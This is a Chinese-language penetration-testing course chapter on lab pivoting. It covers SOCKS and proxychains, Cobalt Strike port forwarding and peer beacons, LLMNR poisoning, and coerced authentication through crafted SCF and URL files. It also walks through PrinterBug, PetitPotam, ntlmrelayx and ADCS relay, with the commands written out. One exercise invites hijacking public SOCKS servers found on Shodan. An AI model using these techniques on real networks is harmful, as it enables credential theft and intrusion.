章节10:代理与跳板

Socks代理

在之前的内容中,我们已经使用了一些代理与跳板的技术,用于访问靶场内部的主机,这是因为除了边界主机 Web01 以及 Web02 外,我们不能直接访问到其他主机。为了推动攻击的流程,我们只是讲了特定命令,例如 socks 的用法,但并没有阐述其概念、原理,以及为什么我们需要它。尽管这些也并不是晦涩深奥的话题,但这个章节我们正式讨论各种不同的代理与跳板技术,以在内部灵活地漫游。

SOCKS

Socks 代表“Socket Secure”,它是一种通过代理服务器在客户端和服务器之间路由网络数据包的 Internet 协议。Socks 5 是该协议的最新版本,之前则是 Socks 4 和 Socks 4a。

Socks 的主要目的是有如下方面:
绕过网络限制:例如,如果特定网站或服务在我们的网络中被阻止,可以使用 Socks 代理来绕过限制。
隐私和匿名:Socks 可以隐藏使用者的 IP 地址,使网站或服务更难跟踪使用者的在线活动。
作为红队与渗透测试人员,我们在行动中用于访问内部网络中的资源。Socks 的运行级别低于 HTTP 代理,因为它可以处理 TCP 以及 UDP 流量,不像 HTTP 代理那样仅限于 HTTP 流量。Socks 只是充当传输数据包的隧道,与传输的实际数据无关。

Socks 版本

Socks 4

Socks 4 是第一个被广泛适用的 Socks 协议版本,它支持 TCP 协议,适用于浏览网站、文件传输等,但不支持 UDP 协议,即用于流式传输 媒体、VoIP 电话等。Socks4 也不支持身份验证,因此任何客户端都可以使用代理,从而带来潜在的安全问题。


Socks 4a

Socks 4a 是一个支持主机名解析的扩展,这意味着代理可以解析域名,而不仅仅是 IP 地址,这有助于提高匿名性,因为 DNS 请求可以通过代理转发,而不是由客户端的本地 DNS 服务器处理。与 Socks 4 一样,Socks 4a 不支持身份验证。在 CS 4.7 版本之前,socks 命令内置的就是 Socks 4a 版本。

image.png

我们查看一下 Shodan 所爬到的公开 Socks 4a 服务器:

image.png

因为不支持认证,因此在没有其他访问控制的情况下(例如 IP 白名单、Socks 服务器仅允许访问特定地址等),如果黑客劫持到对公网开放的 Socks 4/4a 服务器,可以为自己所用以隐蔽行迹。

image.png


Socks 5

Socks 5 同时支持 TCP 与 UDP 协议,使其适用于不同类型的网络流量。Socks 5 还包括对各种身份验证机制的支持,增强了代理使用的安全性。Socks 5 也像 Socks 4a 一样支持 IPv6 地址和主机名解析。Socks5 比以前的版本具有更多功能,但也因此可能需要更多资源,以及更复杂的客户端软件才能充分利用其功能。总的来说,Socks5 是该协议最先进、最灵活的版本,是如今大多数应用程序的首选。从 CS 4.7 版本开始,支持了 Socks 5。

image.png

Proxychains

当配置好 Socks 服务器后,在 Linux 上,通过在要运行的程序以及参数前加入 proxychains 这个包装器以实现让任何应用的流量通过 Socks 代理进行隧道。除了 CS 自带的模块与命令,以及可以通过 CS 运行的工具 (例如 C# 工具,BOF 等),一些外部工具例如 Impacket 也会很有作用,尤其是考虑到 Windows 没有执行 Python 的原生功能 ,因此,在我们自己的系统上使用这些工具并且将通信通过 Beacon 隧道到内部网络可以扩展我们的军火库。同时,这么做还有 OPSEC 的优势,不需要将工具和代码带到目标主机上

在 Beacon交互中,执行命令 socks 1080,这会在团队服务器上开放 1080 端口作为 Socks 4a 服务器。

image.png

当然了,在使用 proxychains 之前,我们需要修改一下 /etc/proxychains.conf 配置文件,配置 Socks 服务器以及端口。在团队服务器上,配置 127.0.0.1:1080 即可,Socks 版本根据实际情况填写。

image.png

若想使用 proxychains 来隧道 nmap 流量实现对于内网的扫描,命令应该是 proxychains nmap  -Pn -sT -p-。这里我们用的是 TCP 扫描且跳过了主机发现,因为不是所有流量都可以被隧道,ICMPSYN 扫描就不可以。

image.png


在 Windows 端,我们可以使用代理客户端例如 Proxifier (https://www.proxifier.com/) 来隧道应用的流量。打开 Proxifier,前往 Profile -> Proxy Servers,添加一个新的代理条目,将 IP 与端口指向团队服务器的 Socks 服务,即 <你们的VPS IP>:1080
然后,在 Profile -> Profixication Rules 中可以自定义规则,例如只有指定的应用发送到指定网段的流量经过代理。

image.png


指定 RDP 客户端的流量经过 Socks 代理

image.png

然后我们便能在 Windows 系统上通过 RDP 客户端访问内网中的 File01 了。

image.png


我们还可以使用浏览器作为 Socks 客户端。火狐浏览器加上 FoxyProxy 插件是使用浏览器访问内部网络中 Web 应用的理想方案。我们给 FoxyProxy 添加一个新的实体,代理类型选择 Socks 4,然后输入团队服务器的 Socks 代理的 IP 与端口,就可以浏览网络内部的应用了。

image.png

例如,我们可以通过 Socks 代理访问 Dc03 上的 ADCS Web 注册接口。

image.png

端口转发

端口转发是计算机网络中使用的一种技术,允许外部设备连接到专用网络内的特定设备,这是通过将通信请求从一个 IP 地址和端口号转发到另一个 IP 地址和端口号来实现的。而在跳板 (Pivoting) 的上下文中,攻击者可以通过正向端口转发技术来绕过网络限制访问其他的主机,或者通过逆向端口转发让无法访问外部网络的主机与攻击者的主机得以通信。

一个实际的例子,攻击者攻陷了边界主机 B,并且实现了对内部网络其他主机的代码执行能力。当攻击者试图让内部主机 C 运行 Beacon 并获得会话的时候发现主机 C 不能与互联网通信,即无法连接到我们的转发器 A 上。因为 B 与 C 有着共同的网卡接口,因此内部网络的访问控制相对宽松,B 与 C 之间有着能互相通信的端口,而 B 能与转发器 A 直接通信,因此攻击者可以将 B 作为 A 与 C 之间的中继主机。


image.png

在我们的靶场中,为了降低复杂度,并没有设置诸多基于网络的访问控制,即一切都是最理想的情况。例如 white-bird 域中,Web02 是边界主机,如果 Dc05 不能连接互联网,那么我们可以将 VPS 的一端口逆向转发到 Web02 上。这样,当 Dc05 访问 Web02 的该端口时,就像在直接访问 VPS 的该端口。

在 CobaltStrike 中,rportfwd 命令可以用于创建逆向端口转发隧道。在 Web02 上,我们执行命令 rportfwd 8180 127.0.0.1 8180,这样,我们将团队服务器的 8180 端口转发到了 Web02 的 8180 端口。

image.png

当 Dc05 访问 Web02 的 8180 端口时,团队服务器的 8180 端口会有访问记录。

image.png

image.png

对于 rportfwd 命令,我们需要注意该命令先隧道了传向团队服务器的流量,然后团队服务器再将流量传递给目标,因此该命令不用于在内部主机之间中继流量。并且,这些流量是包含在 C2 流量中的,而不是作为单独的套接字。如果我们没有管理员权限,只能使用高端口号


CS 还有这 rportfwd_local 命令,与 rportfwd 有所不同的是,前者将流量隧道至 CS 客户端而非团队服务器,其余用法则相同。因为也有很多时候我们在运行 CS 客户端的主机上使用其他工具,这会很有用。

image.png

image.png

此外,我们还可以通过 netsh 来实现端口转发,这在内部主机直接中继流量会尤其方便,因为即便是内网,也会存在着网络隔离,域与域之间也默认开启着防火墙 (尽管我手动关闭了)。假设这么一种情况,white-bird 域中的 Dc05 可以与 raven-med 域中的 Dc02 互相连通,Dc02 与 med-factory 域中的 Dc03 互相连通,但 Dc05 与 Dc03 互相不连通。考虑到域信任的关系,这在实际中是可能存在的情况。那么,我们可以让与 Dc05 以及 Dc03 都连通的 Dc02 作为中继。

我们在 Dc03 上运行该脚本:

$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 4444)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port 4444"
while ($true)
{
	$client = $listener.AcceptTcpClient()
	Write-Host "A client has connected"
	$client.Close()
}

这个脚本绑定了 4444 端口,如果有任何外来通信连接到该端口,那么会输出消息。接着,在 Dc02 上使用 netsh 添加一个 v4tov4 代理:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=172.16.1.31 connectport=4444 protocol=tcp

该命令指定了 Dc02 上绑定的网卡接口以及端口,转发至的目标主机的地址以及端口,协议为 TCP。添加完成后,使用命令 netsh interface portproxy show v4tov4 来罗列刚才添加的规则:

image.png

在 Dc05 上,使用 Test-NetConnection 来连接 Dc02 的 4444 端口,我们会发现 Dc03 上持续运行的脚本显示有客户端连接了,说明 Dc05 对于 Dc03 的访问通过 Dc02 的中继达成了。

image.png
最后,我们可以使用如下命令移除添加的 v4tov4 代理。

netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

使用 netsh 添加端口转发规则,我们需要成为管理员,无论端口号高低。

多重跳板

企业网络的边界所在的主机,往往具有多个网络适配器,1 个面向公共网络,至少 1 个面向企业内部网络,因此在我们进入边界之后需要以此主机作为跳板,继而访问内部网络。不过,即便在企业内部也可以有多个网段,因此也会有存在着多个适配器的主机。

考虑下述可能的情况:
1:面向公网的主机 Web01 有着两张网卡,一张面向公网,一张的网段是 172.16.1.1/24
2:内网中的一台主机 Uat01 也有着两张网卡,一张的网段是 172.16.1.1/24,另一张为 10.10.10.1/24
除此之外,还有可能存在其他内网网段。我们可以轻松地在 Web01 的 Beacon 上运行 socks 1080,这使得我们可以通过 Socks 代理访问到 172.16.1.1/24 网段的主机。那么如果我们想访问 10.10.10.1/24 网段,该如何利用 C2 内置功能以及其他工具实现呢?

虽然在我们的靶场里,不存在第 2 个内网网段以直接供我们参考,但我们可以构造这样一个网络环境:我们的团队服务器都是搭建在 VPS 上的,并且为了保护团队服务器的安全性,暴露最少的端口在公网上。因为在任意一个 Beacon 上运行了 socks 1080 的命令,因此团队服务器是一个 Socks 服务器。但如果想从我们的 VM 上运行工具,那么即跨越了 2 层网络:个人 VM 团队服务器团队服务器内网主机

image.png

以我个人使用配置为例,我的 VM 内网网段是 192.168.0.1/24,我的 VPS 的内网网段是 172.26.5.1/24,而靶场的内网网段是 172.16.1.1/24。那么,我应该怎么做使得可以在个人主机的 VM 上使用工具并最终将流量隧道至靶场的内网主机呢?(我们这里不是为了刻意把问题复杂化,而是模拟一个多层的网络环境,考虑到靶场内只有 1 个内网段)

Socks 链

Socks + 端口转发

这是我个人偏好的方法。为了保证 VPS 的安全性,我们尽可能少地暴露端口在公网,甚至在供应商的 VPS 控制面板中配置了 IP 白名单,只允许少数 IP 访问 VPS 的特定端口,例如只有我们的个人主机才可以通过 SSH 访问 VPS。那么,我们可以将团队服务器的 Socks 端口转发到 VM 的 1080 端口,然后配合 proxychains 即可。

image.png

如果想要访问在 Dc03 上的 ADCS 网页终端,我们直接在 curl 前加上 proxychains 即可。

image.png


多重 Socks

或者,我们往 Socks 代理链中增加一环。修改 /etc/proxychains4.conf 文件的代理链

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
 socks4  127.0.0.1 1080
 socks4  <VPS 内网段> 1080

通过 SSH 在 VM 本地配置 Socks 代理

image.png

最后,使用 proxychains curl 访问 ADCS 网页终端:

image.png

我们可以看到 127.0.0.1:1080 ... 172.26.5.81:1080 ... 172.16.1.31:80 这条代理链。


C2特性

在 CS 中,P2P Beacon 也可以协助我们实现对受到更加严格的网络隔离的主机进行控制。首先,我们需要创建这类 Beacon 的监听器。

TCP Beacon

创建 TCP 监听器 是很简单的,只有监听器名称是强制指定的,但更换端口是建议的。该监听器的载荷被执行后,并不会返回团队服务器新的会话,而是会给本机开放一个指定端口,使其成为一个 TCP 服务器,以此和其他主机进行通信。

image.png

我们将 TCP Beacon 上传到 Dc05 上。在实际情景中,我们能对这样的受害主机进行命令执行 (例如通过 WinRM,RDP,SSH 等),但因为网络隔离的原因,并不能直接连接到团队服务器。执行后,发现 4444 端口果然开启了。

image.png

在 Web02 的 Beacon 交互中,执行命令 connect 172.16.1.51 4444,我们就能看到 Dc05 的会话出现在团队服务器上了。

image.png

需要注意的是,我们看箭头方向,是从 Web02 指向 Dc05 的,因为 Dc05 是 TCP 服务器。

image.png


SMB Beacon

创建一个 SMB 监听器同样很简单,我们只需要指定监听器名称即可,但更换命名管道的名称特征的规避是有必要的。该监听器所对应的载荷被执行后,会给本机开启一个命名管道服务器,监听新的连接,以此和其他主机进行通信。

image.png

在 Dc05 上运行 SMB Beacon,我们依旧不会看到新的会话上线。回到 Web02 的交互中,执行 link 172.16.1.51,然后我们就能看到 Dc05 通过 SMB 监听器上线了。箭头方向依旧是从 Web02 指向 Dc05 的,因为 Dc05 是命名管道服务器。

image.png

总结一下,SMB 和 TCP 监听器,这 2 个 P2P 监听器与 HTTP/HTTPS 的不同与优势在于以下这些:

1:执行了 P2P 载荷的受害主机不与 C2 服务器直接通信,而是在受害主机之间形成一条父子关系的通信链。正因为不直接与 C2 服务器通信,从而减少 C2 通信被发现的机会。

2:一般来说,内部网络的网络控制会更宽松一些,因此可以绕过一些网络隔离限制。

3:如果开启 命名管道/TCP 服务器的会话断了,连接至其的受害主机也全部失去连接。

当在受害主机 2 执行了 命名管道/TCP 监听器的载荷,我们在 C2 服务器上不会看到他们的会话,而他们会因此充当命名管道/TCP 服务器。这时候,我们在受害主机 1的 Beacon 会话中连接到它们。通信链如下图所示:

image.png


Pivot Beacon

跳板监听器,是通过当前可用的 Beacon 会话创建的,无法在监听器面板中创建。跳板监听器的原理与 TCP 监听器相同,只是反向的。

image.png

我们选择 Web02 并为其创建一个跳板监听器。

image.png

随后,我们发现 Web02 开启了 5555 端口。

image.png

在 Dc05 上执行跳板监听器的载荷,我们立刻就获得了 Dc05 的新会话。与之前的不同的是,箭头是从 Dc05 指向 Web02 的。

image.png

与 SMB/TCP 监听器有所不同的是,如果受害主机 2 执行了以受害主机 1 作为跳板监听器的载荷,会直接连接到受害主机 1,进而间接连接到 C2 服务器。通信链如下图所示:

image.png

中毒与中继攻击

NetBIOS 和 LLMNR 中毒理论

NetBIOS-NS (NetBIOS Name Service) 和 LLMNR (Link-Local Multicast Name Raesolution) 是用于在 DNS 解析失败时为同一本地链路上的主机执行名称解析的协议,它们在现代 Windows 计算机上默认启用。在现代企业网络中,虽然 DNS 被大量使用,但有时由于配置错误、DNS 表不完整、服务器不可用等原因,它无法按预期工作。NetBIOS-NS 和 LLMNR 作为替代名称解析协议填补了这一空白。当主机请求网络资源时,为了识别目标资源并发送网络流量,将按顺序执行以下查询,直到识别出名称:

1:请求是否针对计算机本身
2:该名称是否存在于缓存中或在本地 hosts 文件中
3:在 DNS 服务器中查找记录
4:如果启用了 LLMNR,则通过本地链路广播 LLMNR 查询
5:如果启用了 NetBIOS,则通过本地链接广播 LLMNR 查询
LLMNR 和 NetBIOS-NS 查询将被广播,如果主机识别主机名并知道其 IP 地址,主机将响应,攻击者可以通过恶意响应受害者计算机来利用该过程。下图演示了攻击

image.png

1:用户想要访问指定网络资源但输错了主机名
2:DNS 服务器 (DC) 查该找主机名,但在 DNS 记录中不存在
3:广播 LLMNR/NetBIOS-NS 查询
4:攻击者通过响应受害者工作站伪装成所需的网络资源
5:受害者主机对攻击者进行身份验证


让我们手动复现利用过程。可用于此目的的最常用工具是 Responder Inveigh (https://github.com/Kevin-Robertson/Inveigh)。在内网渗透中,Responder 会更常用,但考虑到我们的攻击主机并不在内网中,因此我们可以在受害主机上使用 Inveigh,并且因为 Inveigh 是 C# 编写的,我们甚至可以做到文件不落地。

考虑到 CobaltStrike 并非是交互式的,出于教学目的,我们还是在本地运行该工具。我们可以查看该工具的文档来了解默认启用和禁用的选项。直接运行 Inveigh 的话,我们发现 Inveigh 开启了多个 Rogue 服务器。不像 Linux,SMB 对于 Windows 是默认且重要的服务之一,因此 Inveigh 则是对其进行了嗅探 (在 Linux 主机上开启 Responder 的话,会开启 Rogue SMB 服务器)。

image.png

如输出所示,我们可以进入交互式控制台执行特定命令,例如查看已经捕获到的哈希。

image.png

在 file01 主机上,以 prod\alice 身份访问一个不存在的网络服务,如 \\donotexist

image.png

很快,Inveigh 就捕获到了 alice 的 NetNTLMv2 哈希。该哈希不可以被直接用于 PTH,但我们可以使用hashcat 或者 John 破解哈希来获得明文密码 (虽然我们已经知道 alice 的明文密码了)。

image.png

这里,我们使用 John 来破解hash,命令如下:

 john --format=netntlmv2 <存储哈希的文件> --wordlist=<字典文件>

image.png

这里,我们是成功恢复了明文密码。但如果密码强度足够高,我们最终可能无法恢复明文密码。


强制认证

我们手动复现了攻击者如何使本地链路中毒并窃取其他用户的凭证,出于演示目的,我们在 File01 上扮演了受害用户 alice,并错误地输入了一个不存在的网络资源。在真实场景中,虽然这种情况还是会不时发生 (只要时间足够长,总能获得高权限用户的哈希),但这毕竟是我们不能依赖的随机事件。我们当然也可以对用户进行社会工程学攻击以诱导他们访问不存在的网络资源,然而,最好的办法是让用户在他们不知情的情况下访问不存在的资源,并窃取到他们的凭证,这种技术被称为强制认证。

SCF 文件

SCF 文件是 Windows 资源管理器命令文件,用于定义可在 Windows 资源管理器中执行的自定义命令。这些文件是使用文本编辑器创建的,并包含按照命令在文件中列出的顺序执行的命令列表。SCF 文件中的命令可以执行各种任务,例如打开程序、运行脚本或执行系统操作。我们可以在 \\file01\tools 这个公开 SMB 目录中创建一个恶意 SCF 文件 coerion.scf。恶意文件的内容可以如下:

[Shell]
Command=2
IconFile=\\web03\shared\pic.ico
[Taskbar]
Command=ToggleDesktop

IconFile 的位置指向一个不存在的 SMB 共享目录,因此当任何域用户使用 Windows 资源管理器访问该目录时,我们将获取该用户的哈希。 例如在Srv01上以 prod\sql_service 登录,打开Windows资源管理器访问 \\file01\tools,于是在用户不知情的情况下,我们获取了 svc_sql 的 NetNTLMv2 哈希。

image.png

  
URL 文件

URL 文件是存储网页/网站快捷方式的文件。这些文件通常在 Windows 操作系统中用于在桌面开始菜单中创建网页的快捷方式,当用户单击 url 文件时,默认网络浏览器会打开网页。URL 文件类似于 html 文件,但并不用于存储网页的实际内容。相反,它们包含对网站的引用以及任何其他信息,例如网页标题或快捷方式的位置。

同样的,在 \\file01\tools 中创建 coerion.url 文件,然后以认证的用户身份来访问该目录。

[InternetShortcut]
URL=https://google.com
IconIndex=0
IconFile=\\web03\shared\web.ico


这次,我们以 white-bird\Administrator 的身份在 Dc05 上访问该目录,于是在用户不知情的情况下,我们获得了域管理员的 NetNTLMv2 哈希。

image.png


其他

除了 SCF 文件和 URL 文件之外,例如 doc 文档中的超链接、电子邮件中的图像、lnk Windows 快捷方式文件等都可以触发强制认证。其实原理是一样的,这些文件都具有指向不存在资源的属性。而触发强制认证的方式也可以不同,例如打开 Windows 资源管理器访问可读的 SMB 共享、检查电子邮件,或只是打开doc文档。总之,在内网中,中毒攻击会十分有效。

远程强制认证

尽管上述的强制身份验证技术使 LLMNR\NetBIOS-NS 中毒攻击更加有效,但我们更喜欢以目标为中心且更少依赖于机遇的技术,而远程强制认证正是我们所寻找的技术。大多数远程强制认证依赖于 MS-RPC 协议,例如 MS-RPRN MS-EFSR

* 可能因为工具实现的差异,Inveigh 并不能捕获到主机账户的哈希 (但能看到强制认证是成功的,因为检测到了请求)。出于演示与原理教学的目的,我在 Web01 上安装了 Responder。但在目标的受害主机中发现 Responder 这样的攻击性工具是不现实的,而如果在受害主机上下载安装 Responder 更是疯狂。

image.png

在 Web01 上运行 Responder,指定网卡接口

image.png

我们可以在配置文件 Resonder.conf 中调整各项配置,例如决定建立哪些服务的 Rogue 服务器、指定挑战的数值等。

image.png


MS-RPRN PrinterBug

Print Spooler 是 Windows 操作系统中管理打印过程的服务,而 PrintBug 是一种远程强制验证强制技术,它利用 MS-RPRN 协议从而强制其他主机对攻击者控制的主机进行认证,但此缺陷是不会被修复的 (设计如此),并且默认情况下在所有 Windows 环境中启用。我们可以使用强制认证类工具,例如 SpoolSample.exe (https://github.com/leechristensen/SpoolSample)来实现。这里,我们强制 Dc01 向 Web01 认证:

image.png

于是,Responder 捕获了 Dc01 主机帐号的 NetNTLMv2 哈希,考虑到主机账号密码的强度,虽然我们并不能字典破解该哈希,但足以证明强制认证是成功的。

image.png


MS-EFSR PetitPotam

MS-EFSR 是 Microsoft 的加密文件系统远程协议,它对远程存储并通过网络访问的加密数据执行维护和管理操作。它的利用与 PrinterBug 非常相似,但它允许未认证的用户强制域控制器对攻击者主机进行认证。我们可以使用工具 PetitPotam (https://github.com/topotam/PetitPotam) 来实现。因为不需要经过域认证,因此我们可以在自己的 VM 上,执行命令 proxychains python3 petitpotam.py 172.16.1.12 172.16.1.21。第 1 个 IP 是 Responder 运行的主机 IP,第 2 个是要强制认证的主机。

image.png

并且 Responder 捕获了 Dc02 主机帐号的 NetNTLMv2 哈希。

image.png


中继攻击

在之前的攻击中,我们能够获取用户或主机帐号的 NetNTLMv2 哈希。 然而,我们并不总是幸运到能破解这些哈希从而恢复明文密码。我们同样不能将这些哈希用于哈希传递认证,但这些哈希可以被用于 AD 中的中继攻击,我们并不需要知道它们的明文密码。 在中毒攻击中,我们只是获取哈希并尝试破解它们,而在中继攻击中,我们的 Rogue 服务器将获得的哈希直接中继到其他主机或协议。成功的中继攻击可以帮助我们远程导出凭证、枚举 Active Directory、提升权限等,就像是获得了认证一样。我们将使用 Impacket 中的工具 ntlmrelayx。

出于教学目的,在 PROD 域新增了用户 prod\servermgr,密码为 Summer2024!。该用户对 Srv01 以及 File01 具有本地管理员特权。

导出凭证

如果我们不为 ntlmrelayx 指定其他设置,它将远程导出目标主机 SAM 中的凭证。 在 VPS 或者 VM 上运行 Impacket 中的 ntlmrelayx 开启监听:

proxychains python3 impacket/examples/ntlmrelayx.py -t smb://<目标主机> -smb2support --no-http-server --no-wcf-server

image.png

如图所示,我们将认证流中继到了 File01。在 Srv01 上,我们以 prod\servermgr 登陆,访问 ntlmrelayx 所开启的 Rogue 监听器,尽管这个 UNC 路径不是有效的,但不妨碍我们将 servermgr 用户在 File01 上对攻击机 Rogue 监听器的认证流中继给了 File01。

image.png


因为要导出目标主机的凭证,因此受害用户应在目标服务器 File01 上需要具有本地管理员权限。此外,很重要的一点是,我们无法使用相同的协议将认证流中继回原计算机 (在 2008年之前,是可以中继回原主机的,也就是 MS08-068 漏洞),这就是为什么我们是将 SMB 协议认证流中继给了 File01 而不是 Srv01。幸好 servermgr 在 File01 上也是本地管理员,也就是我们希望受害者主机尽可能是高特权用户,即在多台主机上都具有本地管理员权限,最好是域管理员。

image.png


此外,只有在目标计算机上禁用SMB 签名时,SMB 中继才可以成功。默认情况下,域主机是禁用了 SMB 签名的,但是域控制器则默认启用。我们可以用 CME 来验证目标是否开启了 SMB 签名,我们可以看到,域控制器是启用的,而其他域主机则默认禁用。

image.png

有管理员的情况下,我们也可以指定 -c 选项来执行命令。


AD 枚举

如果认证流被中继到域控制器上的 LDAP/LDAPS 服务,我们就能够枚举 AD 了。但是,将 SMB 数据流中继到 LDAP 服务器通常是不可行的的 (CVE-2019-1040 补丁修复了跨协议中继),因为域控制默认启用了 SMB 签名。 运行 ntlmrelayx 执行以下命令: 

proxychains python3 impacket/examples/ntlmrelayx.py -t ldap://172.16.1.11 --no-da --no-acl --lootdir relay

当中继成功时,ntlmrelayx 在不提升权限和利用 ACL 的情况下枚举域。 当受害者用户访问我们的 Rogue HTTP (在内网部署的话成功率会更高,毕竟访问的是一个外部 IP) 服务器时,会话将中继到 Dc01 上的 LDAP 服务器。

image.png


认证之后,我们可以看到 ntlmrelayx 这里有了认证和枚举信息。中继攻击完成后,我们可以找到导出的信息。

image.png

导出的域信息以文件形式保存在指定的目录下:

image.png

我们还可以通过 --add-computer 选项来通过中继从而创建新的主机账号,或者通过 --escalate-user 选项来提升指定用户的特权,请大家自行尝试。


ADCS NTLM 中继回顾

在 ADCS 利用的小节,我们提到了 ADCS 网页注册终端可被利用于 NTLM 中继。已知 Dc03 也是 CA,因此该终端为 http://Dc03/certsrv。我们可以通过强制认证的手段,例如使用 SpoolSample 强制一高权限主机 (配置了非约束委派的主机,域控制器等) 向攻击者的 Rogue 服务器认证,然后 Rogue 服务器将认证流中继到 CA 的网页注册终端。

需要注意的是,我们依旧不能将认证流中继回原主机,这点当 CA 与 DC 为同一台主机的时候 (靶场里也是这种情况) 成立。这种情况下,我们会寄希望于有一台具有高权限的主机。包括但不局限于被配置了 Kerberos 委派、具有 Dcsync 权限等。

我们使用 certipy 开启 Rogue 服务器,因为 Med-factory 森林只有 1 个域且 CA 与 DC 为同一主机,我们退而求其次选择让被配置了约束委派的 Stg01 向我们的 Rogue 服务器认证。

proxychains certipy relay -ca <CA IP> -template <ADCS 证书模板名> //理想情况下是DomainController模板

image.png

使用 SpoolSample 强制认证:

image.png


我们可以看到,中继成功了,我们得到了主机 Stg01 的证书。后续,我们可以用它来申请 TGT 以及利用 s4u2self 对 Stg01 取得本地管理员权限。

image.png


第10章课后作业

练习

1:在 Shodan 等测绘引擎中搜索未实施认证的 Socks 服务器,有没有能实际为自己所用的呢?

2:如果一台内网主机不连通互联网,利用 Socks、端口转发、C2 特性等方法,如何让它连接到我们的团队服务器上呢?

3:如果 2 中的这台主机在更深层的内网 (公网 -> 172.16.1.1.24 -> 10.10.10.1/24),又如何做到呢?

4:在 Web01 上使用 Responder 复现 LLMNR 中毒攻击

5:除了教材中提到的 SCF 文件、URL 文件等,你还能想到哪些其他的强制认证手段呢?

6:对于 SMB 中继,需要满足哪些条件方可实现对目标主机的远程代码执行?

7:通过 NTLM 中继实现主机账号的添加

8:利用 ADCS 的 NTLM 中继得到 Stg01 的主机账号证书,最终实现对 Stg01 的 SYSTEM 权限访问

面试专题